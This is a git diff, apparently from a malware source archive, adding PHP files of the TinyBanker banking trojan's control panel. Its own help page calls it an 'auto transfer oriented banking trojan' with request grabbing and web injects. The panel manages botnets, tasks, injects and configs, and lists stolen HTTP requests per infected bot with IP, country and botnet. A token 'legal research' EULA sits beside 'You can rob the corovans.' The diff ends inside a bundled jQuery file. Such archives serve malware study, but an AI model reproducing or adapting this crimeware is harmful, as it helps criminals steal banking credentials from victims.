+1,8 @@ +<?php + + if (!BOT) exit(); + + + exit(); + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter1.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter1.php new file mode 100644 index 0000000..ba92046 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter1.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + print "filter1"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter2.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter2.php new file mode 100644 index 0000000..3137b60 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter2.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + print "filter2"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter3.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter3.php new file mode 100644 index 0000000..908c6f1 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter3.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + print "filter3"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.php new file mode 100644 index 0000000..27fe792 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.php @@ -0,0 +1,62 @@ +<?php + + if (!BOT) exit(); + + + if (IS_AJAX_REQUEST) include "filter.act.php"; + + + print "<!-- TABS begin --> +<table width=100% cellspacing=0 cellpadding=0> +<tr> + <td nowrap class=tab_psv id='tl_1'><a href='javascript:sel(1);'>filter1</a></td> + <td nowrap class=tab_psv id='tl_2'><a href='javascript:sel(2);'>filter2</a></td> + <td nowrap class=tab_psv id='tl_3'><a href='javascript:sel(3);'>filter3</a></td> + <td class=no_tab> </td> +</tr> +</table> +<!-- TABS end --> + + + +<!-- TAB 1 begin --> +<table cellspacing=0 id='el_1' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 1 tabcontent begin -->\n"; + include "filter.filter1.php"; + print " <!-- TAB 1 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 1 end --> + + + +<!-- TAB 2 begin --> +<table cellspacing=0 id='el_2' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 2 tabcontent begin -->\n"; + include "filter.filter2.php"; + print " <!-- TAB 2 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 2 end --> + + + +<!-- TAB 3 begin --> +<table cellspacing=0 id='el_3' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 3 tabcontent begin -->\n"; + include "filter.filter3.php"; + print " <!-- TAB 3 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 3 end -->"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/help.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/help.php new file mode 100644 index 0000000..b2b2886 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/help.php @@ -0,0 +1,114 @@ +<?php + + if (!defined('BOT')) die; + + + print "<!-- TABS begin --> +<table width=100% cellspacing=0 cellpadding=0> +<tr> + <td nowrap class=tab_psv id='tl_1'><a href='javascript:sel(1);'>About</a></td> + <td nowrap class=tab_psv id='tl_2'><a href='javascript:sel(2);'>EULA</a></td> + <td nowrap class=tab_psv id='tl_3'><a href='javascript:sel(3);'>Manual</a></td> + <td nowrap class=tab_psv id='tl_4'><a href='javascript:sel(4);'>Support</a></td> + <td class=no_tab> </td> +</tr> +</table> +<!-- TABS end --> + + + +<!-- TAB 1 begin --> +<table cellspacing=0 id='el_1' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 1 tabcontent begin --> + + <table width=100% cellspacing=1 cellpadding=0 class=block> + <tr align=left> + <td style='padding-left:5px;'> +<br><b>{$MYNAME}. Auto transfer oriented banking trojan.</b><br><br> +<b>Features:</b><br><br> +Requests grabbing and web injects:<br> +- Internet Explorer http(s)<br> +- Mozilla Firefox http(s)<br> +- Google Chrome https<br><br> + </td> + </tr> + </table> + + <!-- TAB 1 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 1 end --> + + + +<!-- TAB 2 begin --> +<table cellspacing=0 id='el_2' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 2 tabcontent begin --> + + <table width=100% cellspacing=1 cellpadding=0 class=block> + <tr align=left> + <td style='padding-left:5px;'> +<br><b>End User License Agreement</b><br><br> +This is the <b>{$MYNAME}</b> project.<br> +This tool is intended for legal security research, education and testing purposes only.<br> +It is not intended to be used for any unauthorized or illicit purposes.<br> +Any testing done with this tool must be limited to systems that you own or are explicitly authorized to test.<br> +Using this tool, you assume any and all responsibility for consequences which can arise up.<br> +Authors take no responsibility under any circumstances and damages that arises from your possession of this tool or using the code presented here.<br> +If you do not agree, you dont authorised to use this tool and must immediately delete it.<br><br> + </td> + </tr> + </table> + + <!-- TAB 2 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 2 end --> + + + +<!-- TAB 3 begin --> +<table cellspacing=0 id='el_3' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 3 tabcontent begin --> + + <table width=100% cellspacing=1 cellpadding=0 class=block> + <tr align=left> + <td style='padding-left:5px;'><br><b>You can rob the corovans.</b><br><br></td> + </tr> + </table> + + <!-- TAB 3 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 3 end --> + + + +<!-- TAB 4 begin --> +<table cellspacing=0 id='el_4' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 4 tabcontent begin --> + + <table width=100% cellspacing=1 cellpadding=0 class=block> + <tr align=left> + <td style='padding-left:5px;'><br><b>May the Force be with you... always...</b><br><br></td> + </tr> + </table> + + <!-- TAB 4 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 4 end -->"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/images/demonic_alien_microbe.ico b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/images/demonic_alien_microbe.ico new file mode 100644 index 0000000..2038e24 Binary files /dev/null and b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/images/demonic_alien_microbe.ico differ diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/images/demonic_alien_microbe.png b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/images/demonic_alien_microbe.png new file mode 100644 index 0000000..b10d10f Binary files /dev/null and b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/images/demonic_alien_microbe.png differ diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/images/loading.gif b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/images/loading.gif new file mode 100644 index 0000000..88cf1fb Binary files /dev/null and b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/images/loading.gif differ diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/images/saving.gif b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/images/saving.gif new file mode 100644 index 0000000..e10c13e Binary files /dev/null and b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/images/saving.gif differ diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/index.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/index.php new file mode 100644 index 0000000..2265ee2 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/index.php @@ -0,0 +1,134 @@ +<?php + +// error_reporting(0); + + + define('BOT', true); + define('IS_AJAX_REQUEST', isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest'); + file_put_contents("AJAX_REQUEST_LOG.txt", file_get_contents('php://input')); + + include "../includes/mysql.php"; + include "../includes/geoip.php"; + include "../includes/continents.php"; + include "../includes/datatypes.php"; + include "../data/titles/suppliers.php"; + include "../data/titles/botnets.php"; + + $GeoIP = new GeoIP; + $MYNAME = 'HµNT€R$'; + + + function stripslashes_array($array) { + return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); + } + if (get_magic_quotes_gpc()) { + $_GET = stripslashes_array($_GET); + $_POST = stripslashes_array($_POST); + } + + + $MENU_ELEMENTS = array( + "Status" => "status", + "BotNETs" => "botnets", + "Tasks" => "tasks", + ":", + "Injects" => "injects", + "Configs" => "configs", + "Plugins" => "plugins", + ":", + "LOGS" => "logs", + "Stats" => "stats", + "Tracking" => "tracking", + "Events" => "events", + "Filter" => "filter", + ":", + "System" => "system", + "Settings" => "settings", + "Help" => "help"); + + + $DISPLAY = ""; + $PAGE_INCLUDE = ""; + $PAGE_CAPTION = "404 Not Found"; + while (current($MENU_ELEMENTS)) { + $uri = current($MENU_ELEMENTS); + $key = key($MENU_ELEMENTS); + next($MENU_ELEMENTS); + if ($uri==":") { + $DISPLAY .= "<b> | </b>"; + continue; + } + if (isset($_GET[$uri]) or ($uri=="status" and !$_SERVER['QUERY_STRING'])) { + $PAGE_INCLUDE = $uri; + $PAGE_CAPTION = $key; + $uri .= "' style='background:#090909;color:#709070;"; + } + $DISPLAY .= "<a href='?{$uri}'>{$key}</a>"; + } + $DISPLAY .= "<b> | </b><a href='?logout'>LogOut</a>"; + + + + +if (!IS_AJAX_REQUEST) { + print "<html> +<head> + <title>{$MYNAME} | {$PAGE_CAPTION} + + + + + + + + + + + + + + + +
+\n\n\n"; +} + + + if ($PAGE_INCLUDE) include $PAGE_INCLUDE.".php"; + else echo "{$PAGE_CAPTION}"; + + + $coock = "BOT_".$PAGE_INCLUDE; + $tab = intval($_COOKIE["BOT_".$PAGE_INCLUDE]); + + + print "\n\n\n +
+ + + +© 2010 - ".date('Y', time())." {$MYNAME} control panel v 100.500 | 5 sql queries executed in 0.5 seconds | script executed in 0.7 seconds | request executed in 1.2 seconds + + +"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.act.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.act.php new file mode 100644 index 0000000..37f230d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.act.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.correlation.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.correlation.php new file mode 100644 index 0000000..e4bf5df --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.correlation.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.injects.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.injects.php new file mode 100644 index 0000000..ef3a407 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.injects.php @@ -0,0 +1,38 @@ + + + + + + +
INJECTS

"; + + + if ($STAT['mtime']) print " file size: {$STAT['size']} bytes
+ uploaded: ".date("d/m/Y - H:i:s", $STAT['mtime'])."


+ "; + + + print "
+"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.php new file mode 100644 index 0000000..b75e506 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.php @@ -0,0 +1,47 @@ + + + + + + + +
InjectsCorrelation 
+ + + + + + + + + + + + + + + + + + + + +"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.act.fn.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.act.fn.php new file mode 100644 index 0000000..e48b3aa --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.act.fn.php @@ -0,0 +1,77 @@ +{$pieces[0]} "; + $pieces = explode("/", $pieces[1]); + $BRIEF .= "{$pieces[0]}//{$pieces[2]}/"; + array_splice($pieces, 0, 3); + $resource = implode("/", $pieces); + $BRIEF .= $resource; + } + else { + $host = "unidentified"; + while ($header = next($headers)) { + if (substr($header, 0, 6)=="Host: ") { + $host = substr($header, 6); + break; + } + } + $pieces = explode(" ", $headers[0]); + $BRIEF = "{$pieces[0]} https://{$host}".$pieces[1]; + } + } + else $BRIEF = "unidentified"; + return $BRIEF; + } + + + function HighLight2 ($data) { + $expl = explode("\r\n\r\n", $data); + $headers = $expl[0]; + $contents = $expl[1]; + + + $hdrs = explode("\r\n", $headers); + $unit = explode(" ", $hdrs[0]); + $unit[0] = "{$unit[0]}"; + $hdrs[0] = implode(" ", $unit); + for ($i=1; $iMSIE", $headers); + $headers = str_replace("Chrome", "Chrome", $headers); + $headers = str_replace("Firefox", "Firefox", $headers); + + + $vars = explode("&", $contents); + if (count($vars)>1) { + $count = count($vars); + for ($i=0; $i<$count;$i++) { + if ($vars[$i]=='') { + unset($vars[$i]); + continue; + } + $unit = explode("=", $vars[$i]); + $unit[1] = urldecode($unit[1]); + $vars[$i] = "{$unit[0]}=".$unit[1]; + } + $contents = implode("\n", $vars); + } + + + $data = $headers."\r\n\r\n".$contents; + return $data; + } + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.act.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.act.php new file mode 100644 index 0000000..91e09a1 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.act.php @@ -0,0 +1,292 @@ + $var) $SELTABLES[$key] = "SELECT * FROM `{$var}`".$CONDITIONS; + $query = implode(' UNION ', $SELTABLES).' LIMIT '.intval($_POST['limit']); + $result = mysql_query($query) or die("Query failed : " . mysql_error()); + + +// ################# +// Выдача результата + print " + | + | + + +
+ + + + +// $(this).find('div').hide();$(this).find('select').fadeIn(); + + + $bot = mysql_fetch_array(mysql_query("SELECT * FROM `bots` WHERE `bot_uid`='{$row['bot_uid']}';"), MYSQL_ASSOC); + + + print "
\n"; + + + $i = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { + $i++; + + $datasize = strlen($row['data']); + $row['data'] = addslashes(htmlspecialchars($row['data'])); + switch ($row['data_type']) { + case 0: + $BRIEF = ""; + break; + case 1: + $BRIEF = ""; + break; + case 2: + $BRIEF = GetHttpReqBrief($row['data']); + $row['data'] = HighLight2($row['data']); + break; + case 3: + $BRIEF = "Grabbed by inject data"; + break; + } + $row['data'] = nl2br($row['data']); + + +// \"$(this).parent().parent().parent().next().slideToggle('fast');\" + +// ')\">
".htmlspecialchars($row['comment'])."
+ + + + + + +
{$BRIEF}
".htmlspecialchars($row['comment'])."
".htmlspecialchars($bot['comment'])."
+ + +
+ + + + + + + + + + +
Log ID:
+ Bot UID:
+ Data type:
+ Time:
+ Bot IP
+ Country:
+ Botnet:
+ Supplier:
(sub):
# {$row['log_id']} ({$datasize})
+ {$row['bot_uid']}
+ {$DATA_TYPES[$row['data_type']]}
+ ".date("d/m/y H:i:s", $row['timestamp'])."
+ {$row['bot_ip']}
+ [{$row['bot_country']}] {$GeoIP->GEOIP_COUNTRY_NAMES[$GeoIP->GEOIP_COUNTRY_CODE_TO_NUMBER[$row['bot_country']]]}
+ [ {$row['bot_net']} ]
+ [ {$row['bot_supp']} ]
({$row['supp_sub']})
{$row['data']}
+
\n\n"; + + + + } + print " + + +
+ + + + + \n"; + + + mysql_free_result($result); + + + print ""; + +} + + + + + + + + + + + + + exit(); + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.parser.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.parser.php new file mode 100644 index 0000000..f171a75 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.parser.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.patterns.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.patterns.php new file mode 100644 index 0000000..6840699 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.patterns.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.php new file mode 100644 index 0000000..bf66748 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.php @@ -0,0 +1,67 @@ + + + + + + + + +
SearchParserPatterns 
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.search.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.search.php new file mode 100644 index 0000000..e71838b --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.search.php @@ -0,0 +1,124 @@ + +
+
+ + + + + + + + + + + + + + + \n\n"; + + + $OPTIONS = ''; + rsort($LOGSTABLES); + reset($LOGSTABLES); + while ($val = current($LOGSTABLES)) { + $dispval = $val{9}.$val{10}.'.'.$val{7}.$val{8}.'.20'.$val{5}.$val{6}; + $OPTIONS .= ""; + next($LOGSTABLES); + } + print " + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Logs IDs:
Geolocation
+ +
Data types
+ +
Botnets
+ +
Suppliers
+ +
Bots UIDs:
From date:To date:
From time:To time:
IP mask:...
Phrase:
Limit: + + + +
+
+
+ + + +
+ + +\n\n\n"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.act.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.act.php new file mode 100644 index 0000000..37f230d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.act.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.correlation.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.correlation.php new file mode 100644 index 0000000..e4bf5df --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.correlation.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.php new file mode 100644 index 0000000..67e4b52 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.php @@ -0,0 +1,62 @@ + + + + + + + + +
PluginsCorrelationXXX 
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.plugins.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.plugins.php new file mode 100644 index 0000000..219086a --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.plugins.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.xxx.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.xxx.php new file mode 100644 index 0000000..a7e5709 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.xxx.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/scripts/jquery.js b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/scripts/jquery.js new file mode 100644 index 0000000..8ccd0ea --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/scripts/jquery.js @@ -0,0 +1,9266 @@ +/*! + * jQuery JavaScript Library v1.7.1 + * http://jquery.com/ + * + * Copyright 2011, John Resig + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * Includes Sizzle.js + * http://sizzlejs.com/ + * Copyright 2011, The Dojo Foundation + * Released under the MIT, BSD, and GPL Licenses. + * + * Date: Mon Nov 21 21:11:03 2011 -0500 + */ +(function( window, undefined ) { + +// Use the correct document accordingly with window argument (sandbox) +var document = window.document, + navigator = window.navigator, + location = window.location; +var jQuery = (function() { + +// Define a local copy of jQuery +var jQuery = function( selector, context ) { + // The jQuery object is actually just the init constructor 'enhanced' + return new jQuery.fn.init( selector, context, rootjQuery ); + }, + + // Map over jQuery in case of overwrite + _jQuery = window.jQuery, + + // Map over the $ in case of overwrite + _$ = window.$, + + // A central reference to the root jQuery(document) + rootjQuery, + + // A simple way to check for HTML strings or ID strings + // Prioritize #id over to avoid XSS via location.hash (#9521) + quickExpr = /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/, + + // Check if a string has a non-whitespace character in it + rnotwhite = /\S/, + + // Used for trimming whitespace + trimLeft = /^\s+/, + trimRight = /\s+$/, + + // Match a standalone tag + rsingleTag = /^<(\w+)\s*\/?>(?:<\/\1>)?$/, + + // JSON RegExp + rvalidchars = /^[\],:{}\s]*$/, + rvalidescape = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, + rvalidtokens = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, + rvalidbraces = /(?:^|:|,)(?:\s*\[)+/g, + + // Useragent RegExp + rwebkit = /(webkit)[ \/]([\w.]+)/, + ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/, + rmsie = /(msie) ([\w.]+)/, + rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/, + + // Matches dashed string for camelizing + rdashAlpha = /-([a-z]|[0-9])/ig, + rmsPrefix = /^-ms-/, + + // Used by jQuery.camelCase as callback to replace() + fcamelCase = function( all, letter ) { + return ( letter + "" ).toUpperCase(); + }, + + // Keep a UserAgent string for use with jQuery.browser + userAgent = navigator.userAgent, + + // For matching the engine and version of the browser + browserMatch, + + // The deferred used on DOM ready + readyList, + + // The ready event handler + DOMContentLoaded, + + // Save a reference to some core methods + toString = Object.prototype.toString, + hasOwn = Object.prototype.hasOwnProperty, + push = Array.prototype.push, + slice = Array.prototype.slice, + trim = String.prototype.trim, + indexOf = Array.prototype.indexOf, + + // [[Class]] -> type pairs + class2type = {}; + +jQuery.fn = jQuery.prototype = { + constructor: jQuery, + init: function( selector, context, rootjQuery ) { + var match, elem, ret, doc; + + // Handle $(""), $(null), or $(undefined) + if ( !selector ) { + return this; + } + + // Handle $(DOMElement) + if ( selector.nodeType ) { + this.context = this[0] = selector; + this.length = 1; + return this; + } + + // The body element only exists once, optimize finding it + if ( selector === "body" && !context && document.body ) { + this.context = document; + this[0] = document.body; + this.selector = selector; + this.length = 1; + return this; + } + + // Handle HTML strings + if ( typeof selector === "string" ) { + // Are we dealing with HTML string or an ID? + if ( selector.charAt(0) === "<" && selector.charAt( selector.length - 1 ) === ">" && selector.length >= 3 ) { + // Assume that strings that start and end with <> are HTML and skip the regex check + match = [ null, selector, null ]; + + } else { + match = quickExpr.exec( selector ); + } + + // Verify a match, and that no context was specified for #id + if ( match && (match[1] || !context) ) { + + // HANDLE: $(html) -> $(array) + if ( match[1] ) { + context = context instanceof jQuery ? context[0] : context; + doc = ( context ? context.ownerDocument || context : document ); + + // If a single string is passed in and it's a single tag + // just do a createElement and skip the rest + ret = rsingleTag.exec( selector ); + + if ( ret ) { + if ( jQuery.isPlainObject( context ) ) { + selector = [ document.createElement( ret[1] ) ]; + jQuery.fn.attr.call( selector, context, true ); + + } else { + selector = [ doc.createElement( ret[1] ) ]; + } + + } else { + ret = jQuery.buildFragment( [ match[1] ], [ doc ] ); + selector = ( ret.cacheable ? jQuery.clone(ret.fragment) : ret.fragment ).childNodes; + } + + return jQuery.merge( this, selector ); + + // HANDLE: $("#id") + } else { + elem = document.getElementById( match[2] ); + + // Check parentNode to catch when Blackberry 4.6 returns + // nodes that are no longer in the document #6963 + if ( elem && elem.parentNode ) { + // Handle the case where IE and Opera return items + // by name instead of ID + if ( elem.id !== match[2] ) { + return rootjQuery.find( selector ); + } + + // Otherwise, we inject the element directly into the jQuery object + this.length = 1; + this[0] = elem; + } + + this.context = document; + this.selector = selector; + return this; + } + + // HANDLE: $(expr, $(...)) + } else if ( !context || context.jquery ) { + return ( context || rootjQuery ).find( selector ); + + // HANDLE: $(expr, context) + // (which is just equivalent to: $(context).find(expr) + } else { + return this.constructor( context ).find( selector ); + } + + // HANDLE: $(function) + // Shortcut for document ready + } else if ( jQuery.isFunction( selector ) ) { + return rootjQuery.ready( selector ); + } + + if ( selector.selector !== undefined ) { + this.selector = selector.selector; + this.context = selector.context; + } + + return jQuery.makeArray( selector, this ); + }, + + // Start with an empty selector + selector: "", + + // The current version of jQuery being used + jquery: "1.7.1", + + // The default length of a jQuery object is 0 + length: 0, + + // The number of elements contained in the matched element set + size: function() { + return this.length; + }, + + toArray: function() { + return slice.call( this, 0 ); + }, + + // Get the Nth element in the matched element set OR + // Get the whole matched element set as a clean array + get: function( num ) { + return num == null ? + + // Return a 'clean' array + this.toArray() : + + // Return just the object + ( num < 0 ? this[ this.length + num ] : this[ num ] ); + }, + + // Take an array of elements and push it onto the stack + // (returning the new matched element set) + pushStack: function( elems, name, selector ) { + // Build a new jQuery matched element set + var ret = this.constructor(); + + if ( jQuery.isArray( elems ) ) { + push.apply( ret, elems ); + + } else { + jQuery.merge( ret, elems ); + } + + // Add the old object onto the stack (as a reference) + ret.prevObject = this; + + ret.context = this.context; + + if ( name === "find" ) { + ret.selector = this.selector + ( this.selector ? " " : "" ) + selector; + } else if ( name ) { + ret.selector = this.selector + "." + name + "(" + selector + ")"; + } + + // Return the newly-formed element set + return ret; + }, + + // Execute a callback for every element in the matched set. + // (You can seed the arguments with an array of args, but this is + // only used internally.) + each: function( callback, args ) { + return jQuery.each( this, callback, args ); + }, + + ready: function( fn ) { + // Attach the listeners + jQuery.bindReady(); + + // Add the callback + readyList.add( fn ); + + return this; + }, + + eq: function( i ) { + i = +i; + return i === -1 ? + this.slice( i ) : + this.slice( i, i + 1 ); + }, + + first: function() { + return this.eq( 0 ); + }, + + last: function() { + return this.eq( -1 ); + }, + + slice: function() { + return this.pushStack( slice.apply( this, arguments ), + "slice", slice.call(arguments).join(",") ); + }, + + map: function( callback ) { + return this.pushStack( jQuery.map(this, function( elem, i ) { + return callback.call( elem, i, elem ); + })); + }, + + end: function() { + return this.prevObject || this.constructor(null); + }, + + // For internal use only. + // Behaves like an Array's method, not like a jQuery method. + push: push, + sort: [].sort, + splice: [].splice +}; + +// Give the init function the jQuery prototype for later instantiation +jQuery.fn.init.prototype = jQuery.fn; + +jQuery.extend = jQuery.fn.extend = function() { + var options, name, src, copy, copyIsArray, clone, + target = arguments[0] || {}, + i = 1, + length = arguments.length, + deep = false; + + // Handle a deep copy situation + if ( typeof target === "boolean" ) { + deep = target; + target = arguments[1] || {}; + // skip the boolean and the target + i = 2; + } + + // Handle case when target is a string or something (possible in deep copy) + if ( typeof target !== "object" && !jQuery.isFunction(target) ) { + target = {}; + } + + // extend jQuery itself if only one argument is passed + if ( length === i ) { + target = this; + --i; + } + + for ( ; i < length; i++ ) { + // Only deal with non-null/undefined values + if ( (options = arguments[ i ]) != null ) { + // Extend the base object + for ( name in options ) { + src = target[ name ]; + copy = options[ name ]; + + // Prevent never-ending loop + if ( target === copy ) { + continue; + } + + // Recurse if we're merging plain objects or arrays + if ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) { + if ( copyIsArray ) { + copyIsArray = false; + clone = src && jQuery.isArray(src) ? src : []; + + } else { + clone = src && jQuery.isPlainObject(src) ? src : {}; + } + + // Never move original objects, clone them + target[ name ] = jQuery.extend( deep, clone, copy ); + + // Don't bring in undefined values + } else if ( copy !== undefined ) { + target[ name ] = copy; + } + } + } + } + + // Return the modified object + return target; +}; + +jQuery.extend({ + noConflict: function( deep ) { + if ( window.$ === jQuery ) { + window.$ = _$; + } + + if ( deep && window.jQuery === jQuery ) { + window.jQuery = _jQuery; + } + + return jQuery; + }, + + // Is the DOM ready to be used? Set to true once it occurs. + isReady: false, + + // A counter to track how many items to wait for before + // the ready event fires. See #6781 + readyWait: 1, + + // Hold (or release) the ready event + holdReady: function( hold ) { + if ( hold ) { + jQuery.readyWait++; + } else { + jQuery.ready( true ); + } + }, + + // Handle when the DOM is ready + ready: function( wait ) { + // Either a released hold or an DOMready/load event and not yet ready + if ( (wait === true && !--jQuery.readyWait) || (wait !== true && !jQuery.isReady) ) { + // Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443). + if ( !document.body ) { + return setTimeout( jQuery.ready, 1 ); + } + + // Remember that the DOM is ready + jQuery.isReady = true; + + // If a normal DOM Ready event fired, decrement, and wait if need be + if ( wait !== true && --jQuery.readyWait > 0 ) { + return; + } + + // If there are functions bound, to execute + readyList.fireWith( document, [ jQuery ] ); + + // Trigger any bound ready events + if ( jQuery.fn.trigger ) { + jQuery( document ).trigger( "ready" ).off( "ready" ); + } + } + }, + + bindReady: function() { + if ( readyList ) { + return; + } + + readyList = jQuery.Callbacks( "once memory" ); + + // Catch cases where $(document).ready() is called after the + // browser event has already occurred. + if ( document.readyState === "complete" ) { + // Handle it asynchronously to allow scripts the opportunity to delay ready + return setTimeout( jQuery.ready, 1 ); + } + + // Mozilla, Opera and webkit nightlies currently support this event + if ( document.addEventListener ) { + // Use the handy event callback + document.addEventListener( "DOMContentLoaded", DOMContentLoaded, false ); + + // A fallback to window.onload, that will always work + window.addEventListener( 